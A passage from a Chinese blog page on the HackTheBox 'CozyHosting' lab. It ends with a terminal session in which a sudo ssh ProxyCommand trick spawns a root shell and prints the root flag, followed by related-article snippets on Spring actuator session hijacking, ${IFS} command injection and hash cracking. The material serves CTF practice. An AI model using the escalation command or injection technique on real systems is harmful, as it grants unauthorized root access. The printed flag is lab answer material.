josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# 
# 
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
f1714bfee126c2c7107a6ae26fb22b7d
#

Root flag:f1714bfee126c2c7107a6ae26fb22b7d

32进制
关注
专栏目录
HTB-CozyHosting
qq_58869808的博客
09-10 1555
添加hosts文件。
htb-beep
m0_55772907的博客
09-15 994
一般
HTB:CozyHosting
weixin_43965706的博客
12-28 1041
单独使用 ${IFS}，例如在将它插入到一个命令序列中，它将被解析为一个空格。但是我们可以看到password被用*代替了，这时就要想办法读取该数据了，这个靶场的ssh爆破一般都爆破不出来，就直接跳过了，不然可以尝试一边爆破一边在看其他端口，打开80端口。通过报错可以猜测到这两个参数和ssh连接有关，再看host和username，想到了什么？修改后访问/admin，之前目录爆破有显示这个目录，所以就盲猜是后台了。为了验证，我把我kali的IP地址发了过去，果然。
HTB-cozyhosting Walkthrough
weixin_41958290的博客
12-11 393
spring框架下的actuator组件，存在敏感信息泄漏漏洞。从而导致session会话劫持攻击admin页面存在RCE漏洞jar包存在敏感信息泄漏漏洞。
HACK THE BOX --CozyHosting
weixin_73968711的博客
12-18 685
HACK THE BOX --CozyHosting
HTB：CozyHosting[WriteUP]
如有错误感谢斧正
10-24 789
*] WebTitle http://10.10.11.230 code:301 len:178 title:301 Moved Permanently 跳转url: http://cozyhosting.htb。分别将kanderson、admin用户密码哈希值写入hash1、hash2文件中。已知靶机Web应用程序使用Spring-boot，再次使用对应字典对路径FUZZ。我们这里就分别获得了kanderson、admin用户的密码哈希值。尝试对admin用户哈希文件进行爆破。
HackTheBox-Machines--CozyHosting
七天
04-08 370
CozyHosting 测试过程。
HTB CozyHosting WP
qq_60481227的博客
11-13 182
Hint：目录爆破、信息泄露、RCE难度：Easy。
qos-htb-开源
05-03
qos-htb是您一直在等待的简单带宽管理解决方案，graphix制作了图表，您可以在一秒钟之内查看到底谁在消耗带宽！
xml-HTB-开源
05-02
xml-HTB是用于自动生成bash脚本的工具，该工具可在Linux上设置HTB。 它使用xml配置文件。 它易于使用，具有许多功能：多种深度的类，可配置的叶子，u32和fw过滤器，可同时配置两个输入
HTB-Recon:Hackthebox计算机的自动侦查脚本（hackthebox.eu）
03-09
例如： ./htb-recon.sh 10.10.10.10. ServMon Windows ./htb-recon.sh 10.10.10.10. ServMon Windows 然后通过tmux a -t htb_recon附加会话 它能做什么 在您的主目录中创建一个工作区。 创建不同的文件夹以使事情...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8538
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
2025年软考高级 - 信息系统项目管理师考试备考全攻略
11-09
2025年软考高级 - 信息系统项目管理师考试备考全攻略
MySQL 5.7从入门到精通 第23章 新闻发布系统数据库设计 共6页.pptx
最新发布
11-09
【课程大纲】 第1章 初始MySQL 共19页.pptx 第2章 MySQL的安装与配置 共14页.pptx 第3章 数据库的基本操作 共11页.pptx 第4章 数据表的基本操作 共26页.pptx 第5章 数据类型和运算符 共17页.pptx 第6章 MySQL函数 共76页.pptx 第7章 查询数据 共48页.pptx 第8章 插入、更新与删除数据 共10页.pptx 第9章 索引 共11页.pptx 第10章 存储过程和函数 共19页.pptx 第11章 视图 共20页.pptx 第12章 触发器 共11页.pptx 第13章 用户管理 共25页.pptx 第14章 数据备份与还原 共21页.pptx 第15章 MySQL日志 共22页.pptx 第16章 性能优化 共18页.pptx 第17章 MySQL Workbench5.2 的使用 共15页.pptx 第18章 MySQL Replication 共27页.pptx 第19章 MySQL Cluster 共49页.pptx 第20章 MySQL管理利器——MySQL Utilities 共5页.pptx 第21章 读写分离的利器——MySQL Proxy 共5页.pptx 第22章 PHP操作MySQL数据库 共7页.pptx 第23章 新闻发布系统数据库设计 共6页.pptx 第24章 论坛管理系统数据库设计 共6页.pptx
高分springboot毕设+vue的游戏创意工坊与推广平台的设计与实现_orv论文-Java源码.zip
11-09
本项目是一个基于Spring Boot和Vue的游戏创意工坊与推广平台的设计与实现。该项目旨在为游戏开发者和玩家提供一个集中的平台，使他们能够分享创意、展示作品并获取反馈。平台的核心功能包括游戏创意的提交与管理、游戏作品的展示与评价、用户间的互动交流以及推广活动的组织与管理。 在技术实现上，后端采用Spring Boot框架，利用其快速开发和部署的特点，确保系统的稳定性和高效性。前端则使用Vue.js，以其灵活的数据绑定和组件化开发方式，为用户提供流畅的交互体验。数据库设计充分考虑了数据的安全性和扩展性，以支持大量用户和作品的存储需求。 此外，项目还集成了多种实用工具和插件，如用户认证、权限管理、文件存储等，以提升平台的整体功能和用户体验。通过这个项目，用户不仅能够锻炼自己的编程技能，还能深入了解游戏开发和运营的全过程。
考研助手--论文.zip
11-09
基于SSM的毕业设计源码
C# AutoCAD DWG打印成PDF 代码
11-09
自己写的转PDF代码，调试，可用。
PowerQuery的使用与M语言介绍.docx
11-09
PowerQuery的使用与M语言介绍.docx
【java毕业设计】小说阅读平台的设计（springboot+vue+mysql+说明文档）.zip
11-09
项目经过测试均可完美运行！ 环境说明： 开发语言：java jdk：jdk1.8 数据库：mysql 5.7+ 数据库工具：Navicat11+ 管理工具：maven 开发工具：idea/eclipse
cozyhosting+htb
09-20
CSDN AI助手(C知道)：对于你提到的 "cozyhosting htb"，我理解的是你在提及CTF平台Hack The Box中的CozyHosting机器。CozyHosting是一个涉及Web应用安全的挑战。你可能需要在Hack The Box平台上登录并进行相关操作才能解决这个挑战。具体的解题步骤我无法提供，因为每个挑战都设计得非常独特，需要你自己进行思考和尝试。 如果你对Hack The Box平台或CozyHosting有进一步的问题，我会尽力帮助你。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值